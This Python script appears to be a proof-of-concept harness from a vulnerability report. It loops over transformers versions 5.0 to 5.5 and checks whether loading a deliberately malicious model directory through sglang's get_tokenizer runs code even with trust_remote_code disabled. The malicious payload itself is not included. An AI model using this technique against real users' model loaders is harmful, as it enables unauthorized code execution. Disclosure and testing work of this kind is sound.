"""Run the bug across transformers 5.0..5.5. Swaps version via pip in-place
and spawns a fresh subprocess for each."""

import os
import subprocess
import sys

PROOF_FILE = "/tmp/sglang_poc_proof.txt"
MODEL_DIR = "/poc/malicious_model"
VERSIONS = ["5.0.0", "5.1.0", "5.2.0", "5.3.0", "5.4.0", "5.5.0"]


def test_version(ver):
    script = f"""
import importlib, importlib.machinery, sys, os, types

for mod in ['cuda_python', 'flashinfer', 'flashinfer_python', 'sglang_kernel',
            'quack_kernels', 'xgrammar', 'torch_memory_saver', 'flash_attn_4',
            'flash_attn', 'vllm', 'nvidia', 'nvidia.cutlass', 'nvidia_cutlass_dsl',
            'sglang.srt.layers', 'openai_harmony', 'torchcodec',
            'smg_grpc_servicer', 'apache_tvm_ffi', 'llguidance']:
    if mod not in sys.modules:
        fake = types.ModuleType(mod)
        fake.__spec__ = importlib.machinery.ModuleSpec(mod, None)
        fake.__version__ = "0.0.0"
        sys.modules[mod] = fake

try:
    import transformers
    actual_ver = transformers.__version__
except Exception as e:
    print(f"RESULT:import_failed:False:{{e}}")
    sys.exit(0)

proof = "/tmp/sglang_poc_proof.txt"
if os.path.exists(proof):
    os.remove(proof)

try:
    from sglang.srt.utils.hf_transformers_utils import get_tokenizer
    tok = get_tokenizer("{MODEL_DIR}", trust_remote_code=False)
    tok_type = type(tok).__name__
except Exception as e:
    tok_type = f"EXCEPTION:{{type(e).__name__}}"

executed = os.path.exists(proof)
print(f"RESULT:{{actual_ver}}:{{executed}}:{{tok_type}}")
"""
    result = subprocess.run(
        [sys.executable, "-c", script],
        capture_output=True, text=True, timeout=60,
    )
    output = result.stdout + result.stderr
    for line in output.split("\n"):
        if line.startswith("RESULT:"):
            parts = line.split(":")
            return parts[1], parts[2] == "True", parts[3] if len(parts) > 3 else ""
    return "error", False, f"stdout={result.stdout[:200]} stderr={result.stderr[:200]}"


def main():
    if not os.path.isdir(MODEL_DIR):
        print("[ERROR] Run setup_model.py first")
        sys.exit(2)

    results = {}
    for ver in VERSIONS:
        print(f"[*] transformers=={ver}", end=" ... ", flush=True)
        install = subprocess.run(
            [sys.executable, "-m", "pip", "install", "-q", "--no-cache-dir",
             f"transformers=={ver}"],
            capture_output=True, text=True, timeout=120,
        )
        if install.returncode != 0:
            print("skip (install failed)")
            results[ver] = "skip"
            continue
        actual_ver, executed, detail = test_version(ver)
        if executed:
            print(f"VULNERABLE (returned {detail})")
            results[ver] = "vulnerable"
        else:
            print(f"not triggered (returned {detail})")
            results[ver] = f"not_triggered ({detail})"

    subprocess.run(
        [sys.executable, "-m", "pip", "install", "-q", "--no-cache-dir", "transformers==5.3.0"],
        capture_output=True, timeout=120,
    )

    print()
    for ver in VERSIONS:
        status = results.get(ver, "unknown")
        marker = "***" if status == "vulnerable" else "   "
        print(f"  {marker} transformers=={ver:8s}  {status}")
    vuln = sum(1 for v in results.values() if v == "vulnerable")
    print(f"\n  {vuln}/{len(VERSIONS)} vulnerable")


if __name__ == "__main__":
    main()